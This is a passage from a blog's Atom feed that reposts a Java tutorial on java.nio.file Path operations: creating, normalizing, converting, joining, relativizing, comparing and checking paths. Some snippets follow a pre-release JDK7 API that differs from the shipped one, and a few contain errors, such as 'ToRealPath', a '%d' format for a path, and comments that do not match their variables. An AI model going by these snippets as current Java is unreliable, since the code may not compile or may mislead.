href="http://java.sun.com/docs/books/tutorial/essential/io/pathOps.html#convert"&gt;Converting a Path&lt;/a&gt;   &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/pathOps.html#resolve"&gt;Joining Two Paths&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/pathOps.html#relativize"&gt;Creating a Path Between Two Paths&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/pathOps.html#compare"&gt;Comparing Two Paths&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://java.sun.com/docs/books/tutorial/essential/io/pathOps.html#verify"&gt;Verifying the Existence of a File or Directory&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;  &lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="create"&gt;Creating a Path&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;  A &lt;code&gt;Path&lt;/code&gt; instance contains the information used to specify the location of a file or directory.  At the time it is defined, a &lt;code&gt;Path&lt;/code&gt; is provided with a series of one or more names. A root element or a file name might be included, but neither are required.  A &lt;code&gt;Path&lt;/code&gt; might consist of just a single directory or file name. &lt;/p&gt;&lt;p&gt; You can easily create a &lt;code&gt;Path&lt;/code&gt; object by using one of the following &lt;code&gt;get&lt;/code&gt; methods from the  &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Paths.html"&gt;&lt;code&gt;Paths&lt;/code&gt;&lt;/a&gt; (note the plural) helper class: &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;Path p1 = Paths.get("/tmp/foo");&lt;br /&gt;Path p2 = Paths.get(args[0]);&lt;br /&gt;Path p3 = Paths.get("file:///Users/joe/FileTest.java");&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; &lt;p&gt; The &lt;code&gt;Paths.get&lt;/code&gt; method is shorthand for the following code: &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;Path p4 = FileSystems.getDefault().getPath("/users/sally");&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  &lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="info"&gt;Retrieving Information about a Path&lt;/a&gt;&lt;/h3&gt; &lt;p&gt; You can think of the &lt;code&gt;Path&lt;/code&gt; as storing these name elements as a sequence.  The highest element in the directory structure would be located at index 0.  The lowest element in the directory structure would be located at index &lt;code&gt;[n-1]&lt;/code&gt;, where &lt;code&gt;n&lt;/code&gt; is the number of name elements in the &lt;code&gt;Path&lt;/code&gt;. Methods are available for retrieving individual elements or a subsequence of the &lt;code&gt;Path&lt;/code&gt; using these indexes. &lt;/p&gt;&lt;p&gt; The examples in this lesson use the following directory structure. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;center&gt;&lt;p&gt;&lt;img src="http://java.sun.com/docs/books/tutorial/figures/essential/io-dirStructure.gif" alt="Sample directory structure" align="bottom" width="503" height="392" /&gt;&lt;/p&gt;&lt;center&gt;Sample Directory Structure&lt;/center&gt;&lt;/center&gt; &lt;p&gt; The following code snippet defines a &lt;code&gt;Path&lt;/code&gt; instance and then invokes several methods to obtain information about the path:  &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;// None of these methods requires that the file corresponding&lt;br /&gt;// to the Path exists, with the possible exception of isHidden.&lt;br /&gt;Path path = Paths.get("C:\\home\\joe\\foo");    // Microsoft Windows syntax&lt;br /&gt;//Path path = Paths.get("/home/joe/foo");       // Solaris syntax&lt;br /&gt;System.out.format("toString: %s%n", path.toString());&lt;br /&gt;System.out.format("getName: %s%n", path.getName());&lt;br /&gt;System.out.format("getName(0): %s%n", path.getName(0));&lt;br /&gt;System.out.format("getNameCount: %d%n", path.getNameCount());&lt;br /&gt;System.out.format("subpath(0,2): %d%n", path.subpath(0,2));&lt;br /&gt;System.out.format("getParent: %s%n", path.getParent());&lt;br /&gt;System.out.format("getRoot: %s%n", path.getRoot());&lt;br /&gt;System.out.format("isHidden: %s%n", path.isHidden());&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  Here is the output for both Windows and the Solaris OS: &lt;p&gt; &lt;table summary="This table shows the output for various Path methods for Microsoft Windows and Solaris and includes comments about the methods." border="1" cellpadding="0" cellspacing="2"&gt;     &lt;tbody&gt;&lt;tr&gt;         &lt;th&gt;Method Invoked&lt;/th&gt;         &lt;th&gt;Returns in the Solaris OS&lt;/th&gt;         &lt;th&gt;Returns in Microsoft Windows&lt;/th&gt;         &lt;th&gt;Comment&lt;/th&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;toString&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;/home/joe/foo&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;&lt;nobr&gt;C:\home\joe\foo&lt;/nobr&gt;&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;Returns the string representation of the &lt;code&gt;Path&lt;/code&gt;.             If the path was created using             &lt;code&gt;Filesystems.getDefault().getPath(String)&lt;/code&gt;             or &lt;code&gt;Paths.get&lt;/code&gt; (the latter is a convenience method             for &lt;code&gt;getPath&lt;/code&gt;), the method performs minor             syntactic cleanup.  For example, in a UNIX operating system,             it will correct the input string &lt;code&gt;//home/joe/foo&lt;/code&gt;             to &lt;code&gt;/home/joe/foo&lt;/code&gt;.     &lt;/td&gt;&lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;getName&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;foo&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;foo&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;Returns the file name or the last element of the             sequence of name elements.&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;getName(0)&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;home&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;home&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;Returns the path element             corresponding to the specified index.             The 0th element is the path element             closest to the root.     &lt;/td&gt;&lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;getNameCount&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;Returns the number of elements in the path.&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;subpath(0,2)&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;home/joe&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;home\joe&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;Returns the subsequence of the &lt;code&gt;Path&lt;/code&gt;            (not including a root element) as specified by the             beginning and ending indexes.     &lt;/td&gt;&lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;getParent&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;/home/joe&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;\home\joe&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;Returns the path of the parent directory.&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;getRoot&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;/&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;C:\&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;Returns the root of the path.&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;isHidden&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;Returns &lt;code&gt;true if the file is considered hidden for a             particular file system.  In the Solaris OS,             hidden files are prefixed by             a dot (".").  In Microsoft Windows, hidden files are specified             by a file attribute, so accessing the file system is necessary             to check the &lt;code&gt;HIDDEN&lt;/code&gt; attribute.     &lt;/code&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/p&gt;&lt;p&gt; The previous example shows the output for an absolute path. In the following example, a relative path is specified: &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;Path path = Paths.get("sally/bar");     // Solaris syntax&lt;br /&gt;or&lt;br /&gt;Path path = Paths.get("sally\\bar");    // Microsoft Windows syntax&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; &lt;p&gt; Here is the output for Windows and the Solaris OS: &lt;/p&gt;&lt;p&gt; &lt;table summary="This table shows the output for various Path methods for the Solaris OS and Microsoft Windows, this time using a relative path. cellspacing=" 2="" border="1" cellpadding="0"&gt;     &lt;tbody&gt;&lt;tr&gt;         &lt;th&gt;Method Invoked&lt;/th&gt;         &lt;th&gt;Returns in the Solaris OS&lt;/th&gt;         &lt;th&gt;Returns in Microsoft Windows&lt;/th&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;toString&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;sally/bar&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;sally\bar&lt;/code&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;getName&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;bar&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;bar&lt;/code&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;getName(0)&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;sally&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;sally&lt;/code&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;getNameCount&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;subpath(0,1)&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;sally&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;sally&lt;/code&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;getParent&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;sally&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;sally&lt;/code&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;getRoot&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;null&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;null&lt;/code&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;&lt;code&gt;isHidden&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;         &lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;     &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="normal"&gt;Removing Redundancies From a Path&lt;/a&gt;&lt;/h3&gt;  Many file systems use "." notation to denote the current directory and ".." to denote the parent directory. You might have a situation where a &lt;code&gt;Path&lt;/code&gt; contains redundant directory information. Perhaps a server is configured to save its log files in the "&lt;code&gt;/dir/logs/.&lt;/code&gt;" directory, and you want to delete the trailing "&lt;code&gt;/.&lt;/code&gt;" notation from the path. &lt;p&gt; The following examples both include redundancies:  &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;/home/./joe/foo&lt;br /&gt;/home/sally/../joe/foo&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  The &lt;code&gt;normalize&lt;/code&gt; method removes any redundant elements, which includes any "&lt;code&gt;.&lt;/code&gt;" or "&lt;code&gt;&lt;em&gt;directory&lt;/em&gt;/..&lt;/code&gt;" occurrences. Both of the preceding examples normalize to &lt;code&gt;/home/joe/foo&lt;/code&gt;. &lt;p&gt; It is important to note that &lt;code&gt;normalize&lt;/code&gt; doesn't check at the file system when it cleans up a path. It is a purely syntactic operation. In the second example, if &lt;code&gt;sally&lt;/code&gt; were a symbolic link, removing &lt;code&gt;sally/..&lt;/code&gt; might result in a &lt;code&gt;Path&lt;/code&gt; that no longer locates the intended file. &lt;/p&gt;&lt;p&gt; To clean up a path while ensuring that the result locates the correct file, you can use the &lt;code&gt;toRealPath&lt;/code&gt; method.  This method is  described in the next section, &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/pathOps.html#convert"&gt;Converting a Path&lt;/a&gt;.  &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="convert"&gt;Converting a Path&lt;/a&gt;&lt;/h3&gt;  You can use three methods to convert the &lt;code&gt;Path&lt;/code&gt;.  If you need to convert the path to a string that can be opened from a browser, you can use &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Path.html#toUri%28%29"&gt;&lt;code&gt;toUri&lt;/code&gt;&lt;/a&gt;.  For example:  &lt;blockquote&gt;&lt;pre&gt;Path p1 = Paths.get("/home/logfile");&lt;br /&gt;System.out.format("%s%n", p1.toUri());  // Result is &lt;strong&gt;file:///home/logfile&lt;/strong&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; &lt;p&gt; The  &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Path.html#toAbsolutePath%28%29"&gt;&lt;code&gt;toAbsolutePath&lt;/code&gt;&lt;/a&gt; method converts a path to an absolute path.  If the passed-in path is already absolute, it returns the same &lt;code&gt;Path&lt;/code&gt; object. The &lt;code&gt;toAbsolutePath&lt;/code&gt; method can be very helpful when processing user-entered file names. For example: &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;public class FileTest {&lt;br /&gt;   public static void main(String[] args) throws IOException {&lt;br /&gt;&lt;br /&gt; if (args.length &lt; 1) {&lt;br /&gt;     System.out.println("usage: FileTest file");&lt;br /&gt;     System.exit(-1);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; // Converts the input string to a Path object.&lt;br /&gt; Path inputPath = Paths.get(args[0]);&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;// Converts the input Path to an absolute path.&lt;br /&gt; // Generally, this means prepending the current working&lt;br /&gt; // directory.  If this example were called like this:&lt;br /&gt; //        java FileTest foo&lt;br /&gt; // the getRoot and getParent methods would return null&lt;br /&gt; // on the original "inputPath" instance.  Invoking getRoot and&lt;br /&gt; // getParent on the "fullPath" instance returns expected values.&lt;br /&gt; Path fullPath = inputPath.toAbsolutePath();&lt;/strong&gt;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; &lt;p&gt; The &lt;code&gt;toAbsolutePath&lt;/code&gt; method converts the user input and returns a &lt;code&gt;Path&lt;/code&gt; that returns useful values when queried. The file does not need to exist for this method to work. &lt;/p&gt;&lt;p&gt; The  &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Path.html#toRealPath%28boolean%29"&gt;&lt;code&gt;toRealPath&lt;/code&gt;&lt;/a&gt; method returns the &lt;em&gt;real&lt;/em&gt; path of an existing file. This method performs several operations in one: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;If &lt;code&gt;true&lt;/code&gt; is passed to this method and the file system supports symbolic links, this method resolves any symbolic links in the path. &lt;/li&gt;&lt;li&gt;If the &lt;code&gt;Path&lt;/code&gt; is relative, it  returns an absolute path. &lt;/li&gt;&lt;li&gt;If the &lt;code&gt;Path&lt;/code&gt; contains any redundant elements, it returns a path with those elements removed. &lt;/li&gt;&lt;/ul&gt; &lt;p&gt; This method throws an exception if the file does not exist or cannot be accessed.  You can catch the exception when you want to handle any of these cases.  For example: &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;try {&lt;br /&gt;   Path fp = path.ToRealPath(true);&lt;br /&gt;} catch (NoSuchFileException x) {&lt;br /&gt;   System.err.format("%s: no such file or directory%n", path);&lt;br /&gt;   //Logic for case when file doesn't exist.&lt;br /&gt;} catch (IOException x) {&lt;br /&gt;   System.err.format("%s%n", x);&lt;br /&gt;   //Logic for other sort of file error.&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  &lt;h3 fmstyle="C-Head"&gt;&lt;a name="resolve"&gt;Joining Two Paths&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt; You can combine paths by using the &lt;code&gt;resolve&lt;/code&gt; method. You pass in a &lt;em&gt;partial path&lt;/em&gt; , which is a path that does not include a root element, and that partial path is appended to the original path. &lt;/p&gt;&lt;p&gt; For example, consider the following code snippet: &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;Path p1 = Paths.get("/home/joe/foo");          // Solaris&lt;br /&gt;System.out.format("%s%n", p1.resolve("bar"));  // Result is &lt;strong&gt;/home/joe/foo/bar&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;Path p1 = Paths.get("C:\\home\\joe\\foo");    // Microsoft Windows&lt;br /&gt;System.out.format("%s%n", p1.resolve("bar")); // Result is &lt;strong&gt;C:\home\joe\foo\bar&lt;/strong&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  Passing an absolute path to the &lt;code&gt;resolve&lt;/code&gt; method returns the passed-in path: &lt;blockquote&gt;&lt;pre&gt;Paths.get("foo").resolve("/home/joe");       // Result is &lt;strong&gt;/home/joe&lt;/strong&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  &lt;h3 fmstyle="C-Head"&gt;&lt;a name="relativize"&gt;Creating a Path Between Two Paths&lt;/a&gt;&lt;/h3&gt;  A common requirement when you are writing file I/O code is the capability to construct a path from one location in the file system to another location. You can meet this using the &lt;code&gt;relativize&lt;/code&gt; method. This method constructs a path originating from the original path and ending at the location specified by the passed-in path. The new path is &lt;em&gt;relative&lt;/em&gt; to the original path. &lt;p&gt; For example, consider two relative paths defined as &lt;code&gt;joe&lt;/code&gt; and &lt;code&gt;sally&lt;/code&gt;:  &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;Path p1 = Paths.get("joe");&lt;br /&gt;Path p2 = Paths.get("sally");&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  In the absence of any other information, it is assumed that &lt;code&gt;joe&lt;/code&gt; and &lt;code&gt;sally&lt;/code&gt; are siblings, meaning nodes that reside at the same level in the tree structure. To navigate from &lt;code&gt;joe&lt;/code&gt; to &lt;code&gt;sally&lt;/code&gt;, you would expect to first navigate one level up to the parent node and then down to &lt;code&gt;sally&lt;/code&gt;:  &lt;blockquote&gt;&lt;pre&gt;Path p1_to_p2 = p1.relativize(p2);   // Result is &lt;strong&gt;../sally&lt;/strong&gt;&lt;br /&gt;Path p2_to_p1 = p2.relativize(p1);   // Result is &lt;strong&gt;../joe&lt;/strong&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  Consider a slightly more complicated example:  &lt;blockquote&gt;&lt;pre&gt;Path p1 = Paths.get("home");&lt;br /&gt;Path p3 = Paths.get("home/sally/bar");&lt;br /&gt;Path p1_to_p3 = p1.relativize(p3);  // Result is &lt;strong&gt;sally/bar&lt;/strong&gt;&lt;br /&gt;Path p3_to_p1 = p3.relativize(p1);  // Result is &lt;strong&gt;../..&lt;/strong&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  In this example, the two paths share the same node, &lt;code&gt;home&lt;/code&gt;. To navigate from &lt;code&gt;home&lt;/code&gt; to &lt;code&gt;bar&lt;/code&gt;, you first navigate one level down to &lt;code&gt;sally&lt;/code&gt; and then  one more level down to &lt;code&gt;bar&lt;/code&gt;. Navigating from &lt;code&gt;bar&lt;/code&gt; to &lt;code&gt;sally&lt;/code&gt; requires moving up two levels. &lt;p&gt; A relative path cannot be constructed if only one of the paths includes a root element.  If both paths include a root element, the capability to construct a relative path is system dependent. &lt;/p&gt;&lt;p&gt; The recursive &lt;a class="OutsideLink" target="_blank" href="http://java.sun.com/docs/books/tutorial/essential/io/examples/Copy.java"&gt;&lt;code&gt;Copy&lt;/code&gt;&lt;/a&gt; example uses the &lt;code&gt;relativize&lt;/code&gt; and &lt;code&gt;resolve&lt;/code&gt; methods.  &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="compare"&gt;Comparing Two Paths&lt;/a&gt;&lt;/h3&gt; &lt;p&gt; The &lt;code&gt;Path&lt;/code&gt; class supports &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Path.html#equals%28java.lang.Object%29"&gt;&lt;code&gt;equals&lt;/code&gt;&lt;/a&gt;, enabling you to test two paths for equality. The &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Path.html#startsWith%28java.nio.file.Path%29"&gt;&lt;code&gt;startsWith&lt;/code&gt;&lt;/a&gt; and &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Path.html#endsWith%28java.nio.file.Path%29"&gt;&lt;code&gt;endsWith&lt;/code&gt;&lt;/a&gt; methods enable you to test whether a path begins or ends with a particular string.  These methods are easy to use. For example: &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;Path path = ...;&lt;br /&gt;Path p1 = ...;&lt;br /&gt;Path p2 = Paths.get("/home");&lt;br /&gt;Path p3 = Paths.get("foo");&lt;br /&gt;&lt;br /&gt;if (path.equals(p3)) {&lt;br /&gt;   //&lt;em&gt;equality logic here&lt;/em&gt;&lt;br /&gt;} else if (path.startsWith(p1)) {&lt;br /&gt;   //&lt;em&gt;path begins with "/home"&lt;/em&gt;&lt;br /&gt;} else if (path.endsWith(p2)) {&lt;br /&gt;   //&lt;em&gt;path ends with "foo"&lt;/em&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; &lt;p&gt; The &lt;code&gt;Path&lt;/code&gt; class implements the &lt;a class="APILink" target="_blank" href="http://java.sun.com/javase/6/docs/api/java/lang/Iterable.html"&gt;&lt;code&gt;Iterable&lt;/code&gt;&lt;/a&gt; interface. The &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Path.html#iterator%28%29"&gt;&lt;code&gt;iterator&lt;/code&gt;&lt;/a&gt; method returns an object that enables you to iterate over the name elements in the path.  The first element returned is that closest to the root in the directory tree. The following code snippet iterates over a path, printing each name element: &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;Path path = ...;&lt;br /&gt;for (Path name: path) {&lt;br /&gt;   System.out.println(name);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; &lt;p&gt; The &lt;code&gt;Path&lt;/code&gt; class also implements the  &lt;a class="APILink" target="_blank" href="http://java.sun.com/javase/6/docs/api/java/lang/Comparable.html"&gt;&lt;code&gt;Comparable&lt;/code&gt;&lt;/a&gt; interface. You can compare &lt;code&gt;Path&lt;/code&gt; objects by using &lt;code&gt;compareTo&lt;/code&gt; which is useful for sorting. &lt;/p&gt;&lt;p&gt; You can also put &lt;code&gt;Path&lt;/code&gt; objects into  a &lt;code&gt;Collection&lt;/code&gt;.  See the &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/collections/index.html"&gt;Collections&lt;/a&gt; trail for more information about this powerful feature. &lt;/p&gt;&lt;p&gt; When you want to verify that two &lt;code&gt;Path&lt;/code&gt; objects locate the same file, you can use the &lt;code&gt;isSameFile&lt;/code&gt; method, as described in &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/check.html#same"&gt;Checking Whether Two Paths Locate the Same File&lt;/a&gt;. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h3 fmstyle="C-Head"&gt;&lt;a name="verify"&gt;Verifying the Existence of a File or Directory&lt;/a&gt;&lt;/h3&gt; Most of the methods described in this page are syntactic, meaning that they operate on the &lt;code&gt;Path&lt;/code&gt; instance. But eventually you must access the file system to verify that a particular &lt;code&gt;Path&lt;/code&gt; exists, or does not exist. You can do so with the  &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Path.html#exists%28%29"&gt;&lt;code&gt;exists&lt;/code&gt;&lt;/a&gt; and the  &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Path.html#notExists%28%29"&gt;&lt;code&gt;notExists&lt;/code&gt;&lt;/a&gt; methods.  Note that &lt;code&gt;!path.exists()&lt;/code&gt; is not equivalent to &lt;code&gt;path.notExists()&lt;/code&gt;. When you are testing a file's existence, three results are possible: &lt;ul&gt;&lt;li&gt;The file is verified to exist. &lt;/li&gt;&lt;li&gt;The file is verified to not exist. &lt;/li&gt;&lt;li&gt;The file's status is unknown. This result can occur when the program does not have access to the file. &lt;/li&gt;&lt;/ul&gt; If both &lt;code&gt;exists&lt;/code&gt; and &lt;code&gt;notExists&lt;/code&gt; return &lt;code&gt;false&lt;/code&gt;, the existence of the file cannot be verified. &lt;p&gt; The &lt;code&gt;Path&lt;/code&gt; class also supports a more powerful method to check accessibility, the &lt;code&gt;checkAccess&lt;/code&gt; method. This method is described in &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/check.html"&gt;Checking File Accessibility&lt;/a&gt;.         &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-9131968595199265344?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/9131968595199265344/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=9131968595199265344' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/9131968595199265344'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/9131968595199265344'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/path-operations.html' title='Path Operations'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-2800460765538086563</id><published>2009-09-10T20:17:00.001-07:00</published><updated>2009-09-10T20:17:32.880-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>The Path Class</title><content type='html'>The &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/Path.html"&gt;&lt;code&gt;Path&lt;/code&gt;&lt;/a&gt; class, introduced in the JDK7 release, is the cornerstone of the &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/nio/file/package-summary.html"&gt;&lt;code&gt;java.nio.file&lt;/code&gt;&lt;/a&gt; package. If your application uses file I/O, you will want to learn about the powerful features of this class. &lt;blockquote&gt;&lt;hr /&gt;&lt;strong&gt;Version Note:&lt;/strong&gt; If you have pre-JDK7 code that uses &lt;code&gt;java.io.File&lt;/code&gt;, you can still take advantage of the &lt;code&gt;Path&lt;/code&gt; class functionality by using the &lt;a class="APILink" target="_blank" href="http://openjdk.java.net/projects/nio/javadoc/java/io/File.html#toPath%28%29"&gt;&lt;code&gt;File.toPath&lt;/code&gt;&lt;/a&gt; method.  See  &lt;a class="TutorialLink" target="_top" href="http://java.sun.com/docs/books/tutorial/essential/io/legacy.html"&gt;Legacy File I/O Code&lt;/a&gt; for more information. &lt;hr /&gt;&lt;/blockquote&gt; &lt;p&gt; As its name implies, the &lt;code&gt;Path&lt;/code&gt; class is a programmatic representation of a path in the file system.  A &lt;code&gt;Path&lt;/code&gt; object contains the file name and directory list used to construct the path, and is used to examine, locate, and manipulate files. &lt;/p&gt;&lt;p&gt; A &lt;code&gt;Path&lt;/code&gt; instance reflects the underlying platform. In the Solaris OS, a &lt;code&gt;Path&lt;/code&gt; uses the Solaris syntax (&lt;code&gt;/home/joe/foo&lt;/code&gt;) and  in Microsoft Windows, a &lt;code&gt;Path&lt;/code&gt; uses the Windows syntax (&lt;code&gt;C:\home\joe\foo&lt;/code&gt;). A &lt;code&gt;Path&lt;/code&gt; is not system independent. You cannot compare a &lt;code&gt;Path&lt;/code&gt; from a Solaris file system and expect it to match a &lt;code&gt;Path&lt;/code&gt; from a Windows file system, even if the directory structure is 